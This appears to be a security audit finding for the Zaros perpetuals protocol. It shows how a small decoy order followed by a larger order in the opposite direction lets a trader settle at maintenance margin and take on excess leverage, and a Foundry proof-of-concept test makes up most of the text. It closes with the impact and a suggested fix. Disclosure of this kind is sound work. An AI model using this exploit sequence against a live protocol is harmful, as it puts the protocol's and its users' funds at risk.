An Attacker can game the system to access more leverage than whats allowed using two counter trades.
Traders can trick the protocol into allowing their account to use less required margin than they should be allowed to use. When the protocol settles orders, it checks whether the account is increasing or decreasing an existing position. If an order is increasing a position, the required margin is set to the initial margin (which is a safe level for the protocol); when it is a decreasing an order, it is set to the maintenance margin, to allow users to de-risk their positions and avoid liquidation.
The issue is with how the protocol checks if an order is increasing or decreasing a position.
The protocol just compares the direction of the order size with the existing position size. On Zaros, positions less than zero size delta, are considered shorts, while those with greater than zero size delta are long, and traders can trade in any direction. A trader can game the system by first placing a small long/short trade as a decoy, and then placing their real order in the opposite direction.
The second order will be settled as an update order because it is in the opposite direction to their existing order. Its required margin will be set to the account's maintenance margin despite having enough balance to use the initial margin.
Below is a snippet of how the required margin setting works.
The proof of code below shows the exploit in action.
<details>
pragma solidity 0.8.25;
import { Base\_Test } from "test/Base.t.sol";\
import { Errors } from "@zaros/utils/Errors.sol";\
import { ERC20, IERC20 } from "@openzeppelin/token/ERC20/ERC20.sol";\
import {console2} from "forge-std/console2.sol";\
import { MockERC20 } from "test/mocks/MockERC20.sol";\
import { MockPriceFeed } from "test/mocks/MockPriceFeed.sol";\
import { Users, User, MockPriceAdapters } from "test/utils/Types.sol";
import { UpgradeBranch } from "@zaros/tree-proxy/branches/UpgradeBranch.sol";\
import { LookupBranch } from "@zaros/tree-proxy/branches/LookupBranch.sol";\
import { GlobalConfigurationBranch } from "@zaros/perpetuals/branches/GlobalConfigurationBranch.sol";\
import { LiquidationBranch } from "@zaros/perpetuals/branches/LiquidationBranch.sol";\
import { OrderBranch } from "@zaros/perpetuals/branches/OrderBranch.sol";\
import { PerpMarketBranch } from "@zaros/perpetuals/branches/PerpMarketBranch.sol";\
import { TradingAccountBranch } from "@zaros/perpetuals/branches/TradingAccountBranch.sol";\
import { SettlementBranch } from "@zaros/perpetuals/branches/SettlementBranch.sol";\
import { MarginCollateralConfiguration } from "@zaros/perpetuals/leaves/MarginCollateralConfiguration.sol";\
import { Position } from "@zaros/perpetuals/leaves/Position.sol";\
import { MarketOrder } from "@zaros/perpetuals/leaves/MarketOrder.sol";\
import { SettlementConfiguration } from "@zaros/perpetuals/leaves/SettlementConfiguration.sol";\
import { TradingAccountBranchTestnet } from "testnet/branches/TradingAccountBranchTestnet.sol";\
import { GlobalConfigurationHarness } from "test/harnesses/perpetuals/leaves/GlobalConfigurationHarness.sol";\
import { MarginCollateralConfigurationHarness } from "test/harnesses/perpetuals/leaves/MarginCollateralConfigurationHarness.sol";\
import { MarketConfigurationHarness } from "test/harnesses/perpetuals/leaves/MarketConfigurationHarness.sol";\
import { MarketOrderHarness } from "test/harnesses/perpetuals/leaves/MarketOrderHarness.sol";\
import { PerpMarketHarness } from "test/harnesses/perpetuals/leaves/PerpMarketHarness.sol";\
import { PositionHarness } from "test/harnesses/perpetuals/leaves/PositionHarness.sol";\
import { SettlementConfigurationHarness } from "test/harnesses/perpetuals/leaves/SettlementConfigurationHarness.sol";\
import { TradingAccountHarness } from "test/harnesses/perpetuals/leaves/TradingAccountHarness.sol";\
import {LiquidationKeeper} from "@zaros/external/chainlink/keepers/liquidation/LiquidationKeeper.sol";\
import {MarketOrderKeeper} from "@zaros/external/chainlink/keepers/market-order/MarketOrderKeeper.sol";\
import { UD60x18, ud60x18, ZERO as UD60x18\_ZERO, convert as ud60x18Convert } from "@prb-math/UD60x18.sol";\
import {SD59x18,sd59x18, unary, UNIT as SD\_UNIT, ZERO as SD59x18\_ZERO, convert as sd59x18Convert} from "@prb-math/SD59x18.sol";
contract BugPoC is Base\_Test {
```Solidity
address[] internal USERS;
MockERC20[] internal EXTERNAL_TOKENS;
address internal BOB;
address internal ALICE;
address internal defaultUser;
address USDC;
address wBTC;
address weETH;
uint256 internal constant INITIAL_USDC_BALANCE = 1_000_000;
uint256 internal constant INITIAL_WEETH_BALANCE = 100_000;
uint256 internal constant INITIAL_WBTC_BALANCE = 10_000;
MockPriceFeed btcPriceFeed;
MockPriceFeed ethPriceFeed;
function setUp() public override {
Base_Test.setUp();
changePrank({ msgSender: users.owner.account });
configureSystemParameters();
createPerpMarkets();
EXTERNAL_TOKENS = new MockERC20[](3);
EXTERNAL_TOKENS[0] = usdc;
EXTERNAL_TOKENS[1] = weEth;
EXTERNAL_TOKENS[2] = wBtc;
USDC = address(usdc);
wBTC = address(wBtc);
weETH = address(weEth);
btcPriceFeed = MockPriceFeed(marketsConfig[1].priceAdapter);
ethPriceFeed = MockPriceFeed(marketsConfig[2].priceAdapter);
BOB = users.naruto.account;
ALICE = users.sasuke.account;
USERS = new address[](2);
USERS[0] = BOB;
USERS[1] = ALICE;
_topUpUsers();
vm.stopPrank();
}
function _topUpUsers() internal {
address user;
for (uint8 i = 0; i < USERS.length; i++) {
user = USERS[i];
EXTERNAL_TOKENS[0].mint(user, INITIAL_USDC_BALANCE * (10 ** EXTERNAL_TOKENS[0].decimals()));
EXTERNAL_TOKENS[1].mint(user, INITIAL_WEETH_BALANCE * (10 ** EXTERNAL_TOKENS[0].decimals()));
EXTERNAL_TOKENS[2].mint(user, INITIAL_WBTC_BALANCE * (10 ** EXTERNAL_TOKENS[0].decimals()));
}
}
function clampBetween(
uint256 value,
uint256 low,
uint256 high
) internal pure returns (uint256) {
if (value < low || value > high) {
uint ans = low + (value % (high - low + 1));
return ans;
}
return value;
}
modifier updateMockPriceFeedBtcEth(uint256 _btcNewPrice, uint256 _ethNewPrice) {
uint256 btcNewPrice = clampBetween(_btcNewPrice, 10_000e18, 100_000e18);
uint256 ethNewPrice = clampBetween(_ethNewPrice, 500e18, 10_000e18);
updateMockPriceFeed(1, btcNewPrice);
updateMockPriceFeed(2, ethNewPrice);
_;
}
function getPriceUint(MockPriceFeed priceFeed) internal view returns (uint256) {
(, int256 answer,,,) = priceFeed.latestRoundData();
return uint256(answer);
}
function performLiquidation(uint128 nextAccountId) internal {
LiquidationKeeper liquidationKeeper_ = LiquidationKeeper(liquidationKeeper);
uint256 checkLowerBound = 0;
uint256 checkUpperBound = uint256(nextAccountId);
uint256 performLowerBound = 0;
uint256 performUpperBound = checkUpperBound + 1;
if (checkUpperBound < 1) return;
bytes memory data = abi.encode(checkLowerBound, checkUpperBound, performLowerBound, performUpperBound);
(bool upkeepNeeded, bytes memory performData) = liquidationKeeper_.checkUpkeep(data);
if (upkeepNeeded) {
vm.startPrank(users.keepersForwarder.account);
liquidationKeeper_.performUpkeep(performData);
vm.stopPrank();
}
}
struct TestHelper {
uint256 oldBtcPrice;
uint256 oldEthPrice;
uint256 btcNewPrice;
uint256 ethNewPrice;
uint256 price;
bytes32 streamId;
uint256 priceBtcChange;
uint256 priceEthChange;
OrderBranch.CreateMarketOrderParams params;
}
function _performOrderExecution(uint256 marketId, uint128 tradingAccountId, bool isIncrease) internal {
TestHelper memory helper;
helper.oldBtcPrice = getPriceUint(btcPriceFeed);
helper.oldEthPrice = getPriceUint(ethPriceFeed);
helper.btcNewPrice;
helper.ethNewPrice;
helper.price;
helper.streamId = marketsConfig[marketId].streamId;
helper.priceBtcChange = helper.oldBtcPrice % 100e18;
helper.priceEthChange = helper.oldEthPrice % 10e18;
if(isIncrease) {
helper.btcNewPrice = helper.oldBtcPrice + helper.priceBtcChange;
helper.ethNewPrice = helper.oldEthPrice + helper.priceEthChange;
} else {
helper.btcNewPrice = helper.oldBtcPrice - helper.priceBtcChange;
helper.ethNewPrice = helper.oldEthPrice - helper.priceEthChange;
}
btcPriceFeed.updateMockPrice(helper.btcNewPrice);
ethPriceFeed.updateMockPrice(helper.ethNewPrice);
address marketOrderKeeper_ = marketOrderKeepers[marketId];
MarketOrderKeeper marketOrderKeeper = MarketOrderKeeper(marketOrderKeeper_);
if (marketId == 1) {
helper.price = getPriceUint(btcPriceFeed);
} else {
helper.price = getPriceUint(ethPriceFeed);
}
bytes memory mockSignedReport = getMockedSignedReport(helper.streamId, helper.price);
vm.startPrank(users.owner.account);
marketOrderKeeper.setForwarder(users.keepersForwarder.account);
vm.stopPrank();
bytes memory performData = abi.encode(mockSignedReport, abi.encode(tradingAccountId));
vm.startPrank(users.keepersForwarder.account);
marketOrderKeeper.performUpkeep(performData);
vm.stopPrank();
}
function tradingAccountBranch_createTradingAccount(
uint256 _btcNewPrice,
uint256 _ethNewPrice
) public updateMockPriceFeedBtcEth(_btcNewPrice, _ethNewPrice) returns(uint128 _tradingAccountId){
return perpsEngine.createTradingAccount(bytes(""), false) ;
}
function tradingAccountBranch_depositMargin(
uint128 _tradingAccountId,
address collateralType,
uint256 _amount,
uint256 _btcNewPrice,
uint256 _ethNewPrice
) public updateMockPriceFeedBtcEth(_btcNewPrice, _ethNewPrice) {
perpsEngine.depositMargin(_tradingAccountId, collateralType, _amount);
}
function tradingAccountBranch_withdrawMargin(
uint128 _tradingAccountId,
address collateralType,
uint256 _amount,
uint256 _btcNewPrice,
uint256 _ethNewPrice
) public updateMockPriceFeedBtcEth(_btcNewPrice, _ethNewPrice) {
perpsEngine.withdrawMargin(_tradingAccountId, collateralType, _amount);
}
function orderBranch_createMarketOrder(
uint128 _tradingAccountId,
bool _buyBtc,
int128 sizeDelta,
bool isIncrease,
uint256 _btcNewPrice,
uint256 _ethNewPrice
) public updateMockPriceFeedBtcEth(_btcNewPrice, _ethNewPrice) {
TestHelper memory helper;
helper.params.tradingAccountId = _tradingAccountId;
helper.params.marketId = _buyBtc ? 1 : 2;
helper.params.sizeDelta = sizeDelta;
perpsEngine.createMarketOrder(helper.params);
_performOrderExecution(helper.params.marketId, helper.params.tradingAccountId, isIncrease);
}
struct TestHelperStruct {
bool _buyBtc1;
bool isIncrease1;
uint128 _tradingAccountId1;
int128 sizeDelta1;
uint256 _btcNewPrice1;
uint256 _ethNewPrice1;
bool _buyBtc2;
bool isIncrease2;
int128 sizeDelta2;
uint128 _tradingAccountId2;
uint256 _btcNewPrice2;
uint256 _ethNewPrice2;
SD59x18 before_marginBalanceUsdX18;
SD59x18 after_marginBalanceUsdX18;
UD60x18 before_initialMarginUsdX18;
UD60x18 after_initialMarginUsdX18;
UD60x18 before_maintenanceMarginUsdX18;
UD60x18 after_maintenanceMarginUsdX18;
SD59x18 before_availableMarginUsdX18;
SD59x18 after_availableMarginUsdX18;
}
function testGameTheMarginRequirement() public{
TestHelperStruct memory helper;
helper._buyBtc1 = true;
helper.isIncrease1 = false;
helper._tradingAccountId1 = 1;
helper.sizeDelta1 = 5e18;
helper._btcNewPrice1 = 10000000000000000000000;
helper._ethNewPrice1 = 500000000000000000000;
helper._buyBtc2 = true;
helper.isIncrease2 = false;
helper.sizeDelta2 = -15e18;
helper._btcNewPrice2 = 10000000000000000000000;
helper._ethNewPrice2 = 510000000000000000000;
vm.warp(1 hours);
vm.startPrank(BOB);
tradingAccountBranch_createTradingAccount(100_000e18, 10_000e18);
vm.warp(1 hours);
vm.startPrank(BOB);
tradingAccountBranch_depositMargin(1, USDC, 1000e6, 100_000e18, 10_000e18);
UD60x18 leverage0 = perpsEngine.getAccountLeverage(helper._tradingAccountId1);
(,, uint128 initialMarginRateX18,,,,,,) = perpsEngine.getPerpMarketConfiguration(1);
vm.warp(1 hours);
vm.startPrank(BOB);
orderBranch_createMarketOrder(helper._tradingAccountId1, helper._buyBtc1, helper.sizeDelta1, helper.isIncrease1, helper._btcNewPrice1, helper._ethNewPrice1);
(helper.before_marginBalanceUsdX18, helper.before_initialMarginUsdX18, helper.before_maintenanceMarginUsdX18, helper.before_availableMarginUsdX18) = perpsEngine.getAccountMarginBreakdown(helper._tradingAccountId1);
UD60x18 leverage1 = perpsEngine.getAccountLeverage(helper._tradingAccountId1);
vm.warp(1 hours);
vm.startPrank(BOB);
orderBranch_createMarketOrder(helper._tradingAccountId1, helper._buyBtc2, helper.sizeDelta2, helper.isIncrease2, helper._btcNewPrice2, helper._ethNewPrice2);
(helper.after_marginBalanceUsdX18, helper.after_initialMarginUsdX18, helper.after_maintenanceMarginUsdX18, helper.after_availableMarginUsdX18) = perpsEngine.getAccountMarginBreakdown(helper._tradingAccountId1);
UD60x18 leverage2 = perpsEngine.getAccountLeverage(helper._tradingAccountId1);
console2.log("initialMarginRateX18 : ", uint256(initialMarginRateX18));
console2.log("Leverage 0: ", leverage0.intoUint256());
console2.log("Leverage 1: ", leverage1.intoUint256());
console2.log("Leverage 2: ", leverage2.intoUint256());
console2.log("before_marginBalanceUsdX18: ", helper.before_marginBalanceUsdX18.intoUD60x18().intoUint256());
console2.log("before_initialMarginUsdX18: ", helper.before_initialMarginUsdX18.intoUint256());
console2.log("before_availableMarginUsdX18: ", helper.before_availableMarginUsdX18.intoUint256());
console2.log("after_marginBalanceUsdX18: ", helper.after_marginBalanceUsdX18.intoUD60x18().intoUint256());
console2.log("after_initialMarginUsdX18: ", helper.after_initialMarginUsdX18.intoUint256());
console2.log("after_availableMarginUsdX18: ", helper.after_availableMarginUsdX18.abs().intoUD60x18().intoUint256());
}
}
</details>
If a user manages to bypass the margin requirements, the protocol is at risk of losing funds. A user could open a position that exceeds their margin balance and then the protocol would be responsible for covering the losses if the market moves against the user.
Only allow the use of maintenance margin if the counter order size delta doesn't push the new position size past zero.